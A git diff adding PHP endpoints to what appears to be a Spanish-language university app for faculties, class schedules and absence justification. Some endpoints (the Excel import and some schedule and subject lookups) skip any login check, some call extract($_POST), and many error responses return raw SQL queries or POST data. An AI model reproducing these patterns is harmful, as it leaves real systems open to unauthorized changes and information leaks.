|
||||||
|
], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
|
||||||
|
exit;
|
||||||
|
}
|
||||||
57
action/action_facultad.php
Normal file
57
action/action_facultad.php
Normal file
@@ -0,0 +1,57 @@
|
|||||||
|
<?
|
||||||
|
$information = [
|
||||||
|
'GET' => [],
|
||||||
|
];
|
||||||
|
header('Content-Type: application/json charset=utf-8');
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
|
||||||
|
// check if the session is started
|
||||||
|
if (!isset($_SESSION['user'])) {
|
||||||
|
http_response_code(500);
|
||||||
|
echo json_encode([
|
||||||
|
'error' => 'No se ha iniciado sesión'
|
||||||
|
]);
|
||||||
|
exit;
|
||||||
|
}
|
||||||
|
|
||||||
|
$user = unserialize($_SESSION['user']);
|
||||||
|
try {
|
||||||
|
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
|
||||||
|
// check parameters
|
||||||
|
array_walk($information['GET'], function ($value) {
|
||||||
|
if (!array_key_exists($value, $_GET)) {
|
||||||
|
http_response_code(400);
|
||||||
|
echo json_encode(['error' => "$value is required"]);
|
||||||
|
exit;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
$data = $db->query(<<<SQL
|
||||||
|
SELECT facultad_nombre, facultad_id, clave_dependencia
|
||||||
|
FROM facultad
|
||||||
|
WHERE facultad_id = :facultad_id OR :facultad_id IS NULL
|
||||||
|
ORDER BY facultad_nombre ASC
|
||||||
|
SQL
|
||||||
|
,
|
||||||
|
[':facultad_id' => $user->facultad['facultad_id']]
|
||||||
|
);
|
||||||
|
echo json_encode($data, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
|
||||||
|
} else {
|
||||||
|
http_response_code(405);
|
||||||
|
echo json_encode(['error' => 'method not allowed']);
|
||||||
|
exit;
|
||||||
|
}
|
||||||
|
} catch (PDOException $th) {
|
||||||
|
http_response_code(500);
|
||||||
|
echo json_encode([
|
||||||
|
'error' => $th->getMessage(),
|
||||||
|
'query' => $db->getLastQuery(),
|
||||||
|
], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
|
||||||
|
exit;
|
||||||
|
} catch (Exception $th) {
|
||||||
|
http_response_code(500);
|
||||||
|
echo json_encode([
|
||||||
|
'error' => $th->getMessage(),
|
||||||
|
], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
|
||||||
|
exit;
|
||||||
|
}
|
||||||
23
action/action_facultades_insert.php
Normal file
23
action/action_facultades_insert.php
Normal file
@@ -0,0 +1,23 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
|
||||||
|
// check if the session is started
|
||||||
|
if (!isset($_SESSION['user']))
|
||||||
|
die(json_encode(['error' => 'No se ha iniciado sesión']));
|
||||||
|
|
||||||
|
$user = unserialize($_SESSION['user']);
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
global $pdo;
|
||||||
|
$sql = "SELECT fi_facultad(:nombre, :activa)";
|
||||||
|
$params = [':nombre' => mb_strtoupper($_POST['nombre']), ':activa' => $_POST['estado']];
|
||||||
|
$fac_id = query($sql, $params, true);
|
||||||
|
$sql = "SELECT fi_tiempo_checado(:idfacultad, :idnivel, :antes, :despues, :retardo)";
|
||||||
|
$params = [':idfacultad' => $fac_id['fi_facultad'], ':idnivel' => 1, ':antes' => -15, ':despues' => 16, ':retardo' => 31];
|
||||||
|
query($sql, $params, false);
|
||||||
|
$params = [':idfacultad' => $fac_id['fi_facultad'], ':idnivel' => 2, ':antes' => -15, ':despues' => 16, ':retardo' => 31];
|
||||||
|
query($sql, $params, false);
|
||||||
|
print_r($fac_id);
|
||||||
|
header("Location: ../carreras.php?facultad=" . $fac_id['fi_facultad']);
|
||||||
|
exit();
|
||||||
15
action/action_facultades_select.php
Normal file
15
action/action_facultades_select.php
Normal file
@@ -0,0 +1,15 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
|
||||||
|
// check if the session is started
|
||||||
|
if (!isset($_SESSION['user']))
|
||||||
|
die(json_encode(['error' => 'No se ha iniciado sesión']));
|
||||||
|
|
||||||
|
$user = unserialize($_SESSION['user']);
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
global $pdo;
|
||||||
|
$sql = "SELECT * FROM facultad WHERE facultad_id = :idFacultad";
|
||||||
|
$params = [':idFacultad' => $_POST['id_facultad']];
|
||||||
|
echo json_encode(query($sql, $params, false));
|
||||||
17
action/action_facultades_update.php
Normal file
17
action/action_facultades_update.php
Normal file
@@ -0,0 +1,17 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
|
||||||
|
// check if the session is started
|
||||||
|
if (!isset($_SESSION['user']))
|
||||||
|
die(json_encode(['error' => 'No se ha iniciado sesión']));
|
||||||
|
|
||||||
|
$user = unserialize($_SESSION['user']);
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
global $pdo;
|
||||||
|
$sql = "SELECT fu_updatefacultad(:nombre, :activa, :id)";
|
||||||
|
$params = [':nombre' => mb_strtoupper($_POST['nombre']), ':activa' => $_POST['estado'], ':id' => $_POST['id']];
|
||||||
|
query($sql, $params, false);
|
||||||
|
header("Location: ../facultades.php");
|
||||||
|
exit();
|
||||||
26
action/action_fechas_clase.php
Normal file
26
action/action_fechas_clase.php
Normal file
@@ -0,0 +1,26 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
|
||||||
|
if (!isset($_SESSION['user']))
|
||||||
|
die(json_encode(['error' => 'No se ha iniciado sesión']));
|
||||||
|
|
||||||
|
$user = unserialize($_SESSION['user']);
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
|
||||||
|
// if method is get
|
||||||
|
header("Content-Type: application/json");
|
||||||
|
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
|
||||||
|
$user->print_to_log("Acceso a reposiciones");
|
||||||
|
if (empty($_GET['horario_id']))
|
||||||
|
die(json_encode(['error' => 'No se ha enviado el id del horario']));
|
||||||
|
// fecha greater than today
|
||||||
|
$reposiciones = $db->query("SELECT fecha, EXTRACT(DOW FROM fecha) as day, EXTRACT(MONTH FROM fecha) as month, EXTRACT(YEAR FROM fecha) as year, EXTRACT(DAY FROM fecha) as dia_mes FROM fechas_clase(:horario_id) WHERE fecha > CURRENT_DATE", [
|
||||||
|
'horario_id' => $_GET['horario_id']
|
||||||
|
]);
|
||||||
|
echo json_encode([
|
||||||
|
'status' => 'success',
|
||||||
|
'data' => $reposiciones
|
||||||
|
]);
|
||||||
|
}
|
||||||
46
action/action_grupo.php
Normal file
46
action/action_grupo.php
Normal file
@@ -0,0 +1,46 @@
|
|||||||
|
<?php
|
||||||
|
header('Content-Type: application/json');
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
|
||||||
|
// check if the session is started
|
||||||
|
if (Login::is_logged())
|
||||||
|
$user = Login::get_user();
|
||||||
|
else {
|
||||||
|
header('HTTP/1.1 401 Unauthorized');
|
||||||
|
echo json_encode(['error' => 'No se ha iniciado sesión']);
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
$ruta = "../";
|
||||||
|
require_once("../include/bd_pdo.php");
|
||||||
|
|
||||||
|
if (!isset($_GET['carrera_id'])) {
|
||||||
|
echo json_encode([
|
||||||
|
'status' => 'error',
|
||||||
|
'error' => 'No se ha especificado una carrera'
|
||||||
|
]);
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
$grupos = $db->query(<<<SQL
|
||||||
|
SELECT distinct substring(horario_grupo, 7, 3)::int - 1 as horario_grupo FROM horario_view WHERE
|
||||||
|
PERIODO_ID = :periodo_id AND
|
||||||
|
(FACULTAD_ID = :facultad_id OR :facultad_id IS NULL) AND
|
||||||
|
CARRERA_ID = :carrera_id
|
||||||
|
GROUP BY horario_grupo
|
||||||
|
ORDER BY horario_grupo ASC
|
||||||
|
SQL,
|
||||||
|
[
|
||||||
|
':periodo_id' => $user->periodo_id,
|
||||||
|
':facultad_id' => $user->facultad['facultad_id'],
|
||||||
|
':carrera_id' => $_GET['carrera_id'] ?? 0
|
||||||
|
]
|
||||||
|
);
|
||||||
|
} catch (PDOException $ex) {
|
||||||
|
echo json_encode([]);
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
echo json_encode(array_map(fn($grupo) => $grupo['horario_grupo'], $grupos));
|
||||||
28
action/action_grupo_horario.php
Normal file
28
action/action_grupo_horario.php
Normal file
@@ -0,0 +1,28 @@
|
|||||||
|
<?php
|
||||||
|
header('Content-Type: application/json');
|
||||||
|
|
||||||
|
$ruta = "../";
|
||||||
|
require_once("../include/bd_pdo.php");
|
||||||
|
|
||||||
|
$grupo = isset($_GET['grupo']) ? $_GET['grupo'] : 1;
|
||||||
|
$grupo_horarios = $db->querySingle(
|
||||||
|
"WITH bloques AS (
|
||||||
|
SELECT id, hora_inicio, hora_fin
|
||||||
|
FROM public.bloque_horario
|
||||||
|
WHERE grupo = ?
|
||||||
|
ORDER BY hora_inicio ASC
|
||||||
|
)
|
||||||
|
|
||||||
|
SELECT json_agg(json_build_object(
|
||||||
|
'id', id,
|
||||||
|
'hora_inicio', hora_inicio,
|
||||||
|
'hora_fin', hora_fin,
|
||||||
|
'selected', current_time between hora_inicio and hora_fin
|
||||||
|
)) AS bloque_horario
|
||||||
|
FROM bloques
|
||||||
|
",
|
||||||
|
[$grupo]
|
||||||
|
)['bloque_horario'];
|
||||||
|
|
||||||
|
|
||||||
|
echo $grupo_horarios;
|
||||||
70
action/action_horario.php
Normal file
70
action/action_horario.php
Normal file
@@ -0,0 +1,70 @@
|
|||||||
|
<?
|
||||||
|
#input $_GET['id_espacio_sgu']
|
||||||
|
#output rutas: [ ...ruta, salones: [{...salon}] ]
|
||||||
|
header('Content-Type: application/json charset=utf-8');
|
||||||
|
ini_set('display_errors', 1);
|
||||||
|
ini_set('display_startup_errors', 1);
|
||||||
|
error_reporting(E_ALL);
|
||||||
|
|
||||||
|
$ruta = "../";
|
||||||
|
require_once $ruta . "class/c_login.php";
|
||||||
|
if (!isset($_SESSION['user'])) {
|
||||||
|
http_response_code(401);
|
||||||
|
die(json_encode(['error' => 'unauthorized']));
|
||||||
|
}
|
||||||
|
$user = unserialize($_SESSION['user']);
|
||||||
|
|
||||||
|
// check method
|
||||||
|
try {
|
||||||
|
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
|
||||||
|
if (!(isset($_GET['profesor_id']) || isset($_GET['grupo']))) {
|
||||||
|
throw new Exception('missing parameters');
|
||||||
|
}
|
||||||
|
if (isset($_GET['profesor_id'])) {
|
||||||
|
$data = $db->query(
|
||||||
|
"SELECT *, (EXTRACT(EPOCH FROM (horario_fin - horario_hora) ) / EXTRACT(EPOCH FROM interval '15 minute'))::INT AS bloques
|
||||||
|
FROM horario_view
|
||||||
|
JOIN horario_profesor ON horario_profesor.horario_id = horario_view.horario_id
|
||||||
|
WHERE horario_profesor.profesor_id = :profesor_id
|
||||||
|
AND (facultad_id = :facultad_id OR :facultad_id IS NULL)",
|
||||||
|
[
|
||||||
|
'profesor_id' => $_GET['profesor_id'],
|
||||||
|
'facultad_id' => $user->facultad['facultad_id'],
|
||||||
|
]
|
||||||
|
);
|
||||||
|
} else if (isset($_GET['grupo'])) {
|
||||||
|
$data = $db->query(
|
||||||
|
"SELECT *, (EXTRACT(EPOCH FROM (horario_fin - horario_hora) ) / EXTRACT(EPOCH FROM interval '15 minute'))::INT AS bloques
|
||||||
|
FROM horario_view
|
||||||
|
WHERE substring(horario_grupo, 7, 3) = (CAST(:grupo AS INT) + 1)::varchar
|
||||||
|
AND (facultad_id = :facultad_id OR :facultad_id IS NULL) AND carrera_id = :carrera_id",
|
||||||
|
[
|
||||||
|
'grupo' => $_GET['grupo'],
|
||||||
|
'facultad_id' => $user->facultad['facultad_id'],
|
||||||
|
'carrera_id' => $_GET['carrera_id'],
|
||||||
|
]
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
$last_query = [
|
||||||
|
'query' => $db->getLastQuery(),
|
||||||
|
];
|
||||||
|
|
||||||
|
echo json_encode($data, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
|
||||||
|
} else {
|
||||||
|
throw new Exception('invalid method');
|
||||||
|
}
|
||||||
|
} catch (PDOException $th) {
|
||||||
|
http_response_code(500);
|
||||||
|
echo json_encode([
|
||||||
|
'error' => $th->getMessage(),
|
||||||
|
'query' => $db->getLastQuery(),
|
||||||
|
], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_PARTIAL_OUTPUT_ON_ERROR);
|
||||||
|
exit;
|
||||||
|
} catch (Exception $th) {
|
||||||
|
http_response_code(500);
|
||||||
|
echo json_encode([
|
||||||
|
'error' => $th->getMessage(),
|
||||||
|
], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
|
||||||
|
exit;
|
||||||
|
}
|
||||||
39
action/action_horario_create.php
Normal file
39
action/action_horario_create.php
Normal file
@@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
|
||||||
|
// check if the session is started
|
||||||
|
$user = Login::get_user();
|
||||||
|
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
|
||||||
|
extract($_POST);
|
||||||
|
|
||||||
|
$params = [
|
||||||
|
"hora" => $hora,
|
||||||
|
"salon" => $salón,
|
||||||
|
"facultad_id" => $facultad,
|
||||||
|
"periodo" => $periodo,
|
||||||
|
"grupo" => $grupo,
|
||||||
|
"materia_id" => $materia,
|
||||||
|
"dia" => $día,
|
||||||
|
"duracion" => $duración,
|
||||||
|
"profesores" => "{{$profesores}}",
|
||||||
|
];
|
||||||
|
|
||||||
|
header("Content-Type: application/json");
|
||||||
|
$user->print_to_log("Creación de horario", new: $params);
|
||||||
|
|
||||||
|
try {
|
||||||
|
$db->insert("fs_horario", $params);
|
||||||
|
} catch (Exception $e) {
|
||||||
|
die(json_encode([
|
||||||
|
"status" => "error",
|
||||||
|
"message" => "No se pudo crear el horario",
|
||||||
|
]));
|
||||||
|
}
|
||||||
|
die(json_encode([
|
||||||
|
"status" => "success",
|
||||||
|
"message" => "Horario creado correctamente",
|
||||||
|
]));
|
||||||
38
action/action_horario_delete.php
Normal file
38
action/action_horario_delete.php
Normal file
@@ -0,0 +1,38 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
|
||||||
|
// check if the session is started
|
||||||
|
if (!isset($_SESSION['user']))
|
||||||
|
die(json_encode(['error' => 'No se ha iniciado sesión']));
|
||||||
|
|
||||||
|
$user = unserialize($_SESSION['user']);
|
||||||
|
|
||||||
|
extract($_POST);
|
||||||
|
try {
|
||||||
|
$old = $db
|
||||||
|
->where('horario_id', $id)
|
||||||
|
->getOne('horario');
|
||||||
|
|
||||||
|
$user->print_to_log("Eliminación de horario", old: $old);
|
||||||
|
|
||||||
|
$horario = $db
|
||||||
|
->where('id', $id)
|
||||||
|
->delete('fs_horario');
|
||||||
|
} catch (Exception $e) {
|
||||||
|
// if message contains "Integrity constraint violation"
|
||||||
|
$message = (strpos($e->getMessage(), 'Foreign') !== false)
|
||||||
|
? "No se puede eliminar el registro, tiene datos asociados"
|
||||||
|
: "Error al eliminar el registro";
|
||||||
|
|
||||||
|
die(json_encode([
|
||||||
|
"status" => "error",
|
||||||
|
"message" => $message,
|
||||||
|
"response" => $e->getMessage(),
|
||||||
|
]));
|
||||||
|
}
|
||||||
|
|
||||||
|
die(json_encode([
|
||||||
|
"status" => "success",
|
||||||
|
"message" => "Horario eliminado correctamente",
|
||||||
|
]));
|
||||||
51
action/action_horario_excel.php
Normal file
51
action/action_horario_excel.php
Normal file
@@ -0,0 +1,51 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
require_once "../include/func_excel.php";
|
||||||
|
|
||||||
|
extract($_POST);
|
||||||
|
|
||||||
|
# $carrera;
|
||||||
|
# $facultad;
|
||||||
|
|
||||||
|
$horarios = json_decode($data, true);
|
||||||
|
|
||||||
|
// make sure profesores are in the database
|
||||||
|
foreach ($horarios as $horario) {
|
||||||
|
$params = [
|
||||||
|
'materia' => $horario['materia'],
|
||||||
|
'carrera' => $carrera,
|
||||||
|
];
|
||||||
|
$horario['materia'] = query("SELECT FI_MATERIA(:materia, :carrera) id", $params)['id'];
|
||||||
|
|
||||||
|
$params = [
|
||||||
|
'clave' => $horario['clave'],
|
||||||
|
'nombre' => $horario['nombre'],
|
||||||
|
'correo' => $horario['correo'],
|
||||||
|
'grado' => $horario['grado'],
|
||||||
|
'facultad' => $facultad,
|
||||||
|
];
|
||||||
|
|
||||||
|
$horario['profesor'] = query("SELECT FI_PROFESOR(:nombre, :clave, :facultad, :correo, :grado) id", $params)['id'];
|
||||||
|
$horario = array_diff_key($horario, array_flip(['clave', 'nombre', 'correo', 'grado', '']));
|
||||||
|
$horario['periodo'] = $periodo;
|
||||||
|
$horario['facultad'] = $facultad;
|
||||||
|
|
||||||
|
try {
|
||||||
|
query(
|
||||||
|
"SELECT FI_HORARIO(:horario::VARCHAR, :profesor::INT, :materia::INT, :facultad::INT, :periodo::INT, :grupo::VARCHAR, :salon::VARCHAR)",
|
||||||
|
$horario
|
||||||
|
);
|
||||||
|
} catch (Exception $e) {
|
||||||
|
die(json_encode([
|
||||||
|
"status" => "error",
|
||||||
|
"sql" => $e->getMessage(),
|
||||||
|
"message" => "Error al cargar el archivo",
|
||||||
|
]));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
?>
|
||||||
|
<?= json_encode([
|
||||||
|
"status" => "success",
|
||||||
|
"message" => "Horarios guardado con éxito",
|
||||||
|
]) ?>
|
||||||
38
action/action_horario_profesor.php
Normal file
38
action/action_horario_profesor.php
Normal file
@@ -0,0 +1,38 @@
|
|||||||
|
<?php
|
||||||
|
header('Content-Type: application/json');
|
||||||
|
$ruta = "../";
|
||||||
|
require_once("../include/bd_pdo.php");
|
||||||
|
|
||||||
|
$dias = array("domingo", "lunes", "martes", "miércoles", "jueves", "viernes", "sábado");
|
||||||
|
|
||||||
|
try {
|
||||||
|
if(empty($_POST['profesor_id']))
|
||||||
|
throw new Exception("No se ha especificado un profesor");
|
||||||
|
|
||||||
|
// RECORD LAST QUERY
|
||||||
|
$horarios = $db->query("SELECT * FROM fs_horario(_periodo_id => ?, _last => true, _profesor_id => ?) ORDER BY MATERIA", [
|
||||||
|
$_POST['periodo_id'],
|
||||||
|
$_POST['profesor_id'],
|
||||||
|
]);
|
||||||
|
|
||||||
|
$horarios = array_map(function ($horario) use ($dias, $db) {
|
||||||
|
$horario['profesores'] = array_map(
|
||||||
|
fn ($profesor) =>
|
||||||
|
$db->where("id", $profesor)->getOne("fs_profesor"),
|
||||||
|
explode(",", substr($horario['profesores'], 1, -1))
|
||||||
|
);
|
||||||
|
$horario['dia'] = $dias[$horario['dia']];
|
||||||
|
return $horario;
|
||||||
|
}, $horarios);
|
||||||
|
die(json_encode([
|
||||||
|
"status" => "success",
|
||||||
|
"data" => $horarios,
|
||||||
|
// "data" => [],
|
||||||
|
]));
|
||||||
|
} catch (Exception $e) {
|
||||||
|
die(json_encode([
|
||||||
|
"status" => "error",
|
||||||
|
"message" => $e->getMessage(),
|
||||||
|
"query" => $db->getLastQuery(),
|
||||||
|
]));
|
||||||
|
}
|
||||||
48
action/action_horario_update.php
Normal file
48
action/action_horario_update.php
Normal file
@@ -0,0 +1,48 @@
|
|||||||
|
<?php
|
||||||
|
header('Content-Type: application/json');
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
|
||||||
|
// check if the session is started
|
||||||
|
if (!isset($_SESSION['user']))
|
||||||
|
die(json_encode(['error' => 'No se ha iniciado sesión']));
|
||||||
|
|
||||||
|
$user = unserialize($_SESSION['user']);
|
||||||
|
|
||||||
|
$horario = array_map(fn ($value) => $_POST[$value], array_filter([
|
||||||
|
"hora" => "hora",
|
||||||
|
"dia" => "día",
|
||||||
|
"salon" => "salón",
|
||||||
|
"duracion" => "duración",
|
||||||
|
], fn ($value) => !empty($_POST[$value])));
|
||||||
|
|
||||||
|
if (!empty($_POST['profesores']))
|
||||||
|
$horario["profesores"] = "{ {$_POST['profesores']} }";
|
||||||
|
|
||||||
|
try {
|
||||||
|
$id = $_POST['id'] ?? 0;
|
||||||
|
|
||||||
|
$old = $db
|
||||||
|
->where("horario_id", $id)
|
||||||
|
->getOne("horario");
|
||||||
|
|
||||||
|
$horario = $db
|
||||||
|
->where("id", $id)
|
||||||
|
->update("fs_horario", $horario);
|
||||||
|
|
||||||
|
$new = $db
|
||||||
|
->orderBy("horario_id", "DESC")
|
||||||
|
->getOne("horario");
|
||||||
|
|
||||||
|
$user->print_to_log("Actualización de horario", old: $old, new: $new);
|
||||||
|
} catch (Exception $e) {
|
||||||
|
die(json_encode([
|
||||||
|
"status" => "error",
|
||||||
|
"message" => $e->getMessage(),
|
||||||
|
'POST' => $_POST,
|
||||||
|
]));
|
||||||
|
}
|
||||||
|
|
||||||
|
die(json_encode([
|
||||||
|
"status" => "success",
|
||||||
|
]));
|
||||||
94
action/action_justificar.php
Normal file
94
action/action_justificar.php
Normal file
@@ -0,0 +1,94 @@
|
|||||||
|
<?
|
||||||
|
header('Content-Type: application/json charset=utf-8');
|
||||||
|
#return html
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
// check method
|
||||||
|
|
||||||
|
if (!isset($_SESSION['user'])) {
|
||||||
|
http_response_code(401);
|
||||||
|
echo json_encode(['error' => 'unauthorized']);
|
||||||
|
exit;
|
||||||
|
}
|
||||||
|
|
||||||
|
$user = unserialize($_SESSION['user']);
|
||||||
|
|
||||||
|
try {
|
||||||
|
if ($_SERVER['REQUEST_METHOD'] === 'PUT') {
|
||||||
|
// check parameters
|
||||||
|
$raw = file_get_contents('php://input');
|
||||||
|
$post_data = json_decode($raw, true);
|
||||||
|
// if it's a list
|
||||||
|
// step 1: get subrutas
|
||||||
|
if (empty($post_data)) {
|
||||||
|
http_response_code(400);
|
||||||
|
echo json_encode(['error' => 'No hay clases pendientes']);
|
||||||
|
exit;
|
||||||
|
}
|
||||||
|
if (!(isset($post_data['fecha'], $post_data['bloques'], $post_data['justificacion']))) {
|
||||||
|
http_response_code(400);
|
||||||
|
echo json_encode(['error' => 'Faltan parametros']);
|
||||||
|
exit;
|
||||||
|
}
|
||||||
|
|
||||||
|
$bloques = $db
|
||||||
|
->where('id', $post_data['bloques'])
|
||||||
|
->orderBy('hora_inicio')
|
||||||
|
->get('bloque_horario', null, 'hora_inicio, hora_fin');
|
||||||
|
|
||||||
|
$min_hora_inicio = $bloques[0]['hora_inicio'];
|
||||||
|
$max_hora_fin = $bloques[count($bloques) - 1]['hora_fin'];
|
||||||
|
|
||||||
|
$pdo->beginTransaction();
|
||||||
|
$data = $db->query(
|
||||||
|
"INSERT INTO registro (horario_id, registro_fecha_ideal, profesor_id, justificador_id, justificacion, registro_fecha_justificacion, registro_justificada)
|
||||||
|
SELECT DISTINCT
|
||||||
|
horario_id, :fecha::DATE, profesor_id, :justificador_id::INT, :justificacion, NOW(), true
|
||||||
|
from horario_view
|
||||||
|
join horario_profesor using (horario_id)
|
||||||
|
where
|
||||||
|
(:hora_inicio::TIME, :hora_fin::TIME) OVERLAPS (horario_hora, horario_fin) AND
|
||||||
|
horario_dia = EXTRACT(DOW FROM :fecha::DATE) AND
|
||||||
|
periodo_id = :periodo_id AND
|
||||||
|
(horario_view.facultad_id = :facultad_id OR :facultad_id IS NULL)
|
||||||
|
ON CONFLICT (horario_id, registro_fecha_ideal, profesor_id) DO UPDATE SET
|
||||||
|
justificador_id = :justificador_id,
|
||||||
|
justificacion = :justificacion,
|
||||||
|
registro_fecha_justificacion = NOW(),
|
||||||
|
registro_justificada = true
|
||||||
|
RETURNING *;",
|
||||||
|
array(
|
||||||
|
'justificador_id' => $user->user['id'],
|
||||||
|
'justificacion' => empty($post_data['justificacion']) ? null : $post_data['justificacion'],
|
||||||
|
'fecha' => $post_data['fecha'],
|
||||||
|
'periodo_id' => $user->periodo_id,
|
||||||
|
'facultad_id' => $user->facultad['facultad_id'],
|
||||||
|
'hora_inicio' => $min_hora_inicio,
|
||||||
|
'hora_fin' => $max_hora_fin,
|
||||||
|
)
|
||||||
|
);
|
||||||
|
$pdo->commit();
|
||||||
|
echo json_encode($data, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
|
||||||
|
} else {
|
||||||
|
http_response_code(405);
|
||||||
|
echo json_encode(['error' => 'method not allowed']);
|
||||||
|
exit;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
} catch (PDOException $th) {
|
||||||
|
http_response_code(500);
|
||||||
|
echo json_encode([
|
||||||
|
'error' => $th->getMessage(),
|
||||||
|
'query' => $db->getLastQuery(),
|
||||||
|
'post_data' => $post_data,
|
||||||
|
], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
|
||||||
|
$pdo->rollBack();
|
||||||
|
exit;
|
||||||
|
} catch (Exception $th) {
|
||||||
|
http_response_code(500);
|
||||||
|
echo json_encode([
|
||||||
|
'error' => $th->getMessage(),
|
||||||
|
], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
|
||||||
|
exit;
|
||||||
|
}
|
||||||
42
action/action_login.php
Normal file
42
action/action_login.php
Normal file
@@ -0,0 +1,42 @@
|
|||||||
|
<?php
|
||||||
|
/*
|
||||||
|
* Valida usuario con la BD y devuelve contraseña para validar con PHP
|
||||||
|
*
|
||||||
|
* Recibe:
|
||||||
|
* POST: usuario, password
|
||||||
|
*
|
||||||
|
* Error:
|
||||||
|
* 0 - No se recibieron datos
|
||||||
|
* 1 - Usuario/Contraseña incorrectos
|
||||||
|
* 2 - Usuario no esta en BD
|
||||||
|
* 3 - No existe usuario
|
||||||
|
*
|
||||||
|
* Success:
|
||||||
|
* Redirecciona a inicio.php
|
||||||
|
*/
|
||||||
|
include_once "../include/nocache.php"; //continue on error
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php"; //die on error
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
require_once "../include/util.php";
|
||||||
|
|
||||||
|
if (!isset($_POST["username"]) || !isset($_POST["passwd"]))
|
||||||
|
die(header("Location: ../index.php?error=0"));
|
||||||
|
|
||||||
|
$usr = trim(filter_input(INPUT_POST, "username")); //limpia texto
|
||||||
|
$pass = $_POST["passwd"];
|
||||||
|
|
||||||
|
$user = Login::validUser($usr, $pass);
|
||||||
|
|
||||||
|
if (is_array($user)) {
|
||||||
|
$_SESSION['error'] = true;
|
||||||
|
// build query params
|
||||||
|
$params = http_build_query($user);
|
||||||
|
header("Location: ../index.php?$params");
|
||||||
|
} else {
|
||||||
|
$_SESSION['user'] = serialize($user);
|
||||||
|
|
||||||
|
header("Location: " . (isset($_SESSION['ruta']) ? $_SESSION['ruta'] : "../main.php"));
|
||||||
|
}
|
||||||
|
|
||||||
|
exit;
|
||||||
30
action/action_materias.php
Normal file
30
action/action_materias.php
Normal file
@@ -0,0 +1,30 @@
|
|||||||
|
<?php
|
||||||
|
header('Content-Type: application/json');
|
||||||
|
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
|
||||||
|
// check if the session is started
|
||||||
|
if (!isset($_SESSION['user']))
|
||||||
|
die(json_encode(['error' => 'No se ha iniciado sesión']));
|
||||||
|
|
||||||
|
$user = unserialize($_SESSION['user']);
|
||||||
|
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
$facultad_id = $user->facultad['facultad_id'];
|
||||||
|
$materias = $db->query(<<<SQL
|
||||||
|
SELECT materia_id, materia_nombre, clave_materia, materia.carrera_id
|
||||||
|
FROM materia
|
||||||
|
JOIN carrera USING (carrera_id)
|
||||||
|
JOIN facultad USING (facultad_id)
|
||||||
|
WHERE
|
||||||
|
(facultad_id = :facultad_id OR :facultad_id IS NULL)
|
||||||
|
ORDER BY carrera_nombre DESC
|
||||||
|
SQL,
|
||||||
|
array('facultad_id' => $facultad_id)
|
||||||
|
);
|
||||||
|
|
||||||
|
// $user->print_to_log("Crea carrera", old: $_POST);
|
||||||
|
|
||||||
|
die(json_encode($materias));
|
||||||
8
action/action_materias_select.php
Normal file
8
action/action_materias_select.php
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
global $pdo;
|
||||||
|
$sql="SELECT * FROM materia WHERE materia_id = :idMateria";
|
||||||
|
$params = ['idMateria' => $_POST['idmateria']];
|
||||||
|
echo json_encode(query($sql, $params, false));
|
||||||
|
?>
|
||||||
11
action/action_materias_update.php
Normal file
11
action/action_materias_update.php
Normal file
@@ -0,0 +1,11 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
global $pdo;
|
||||||
|
|
||||||
|
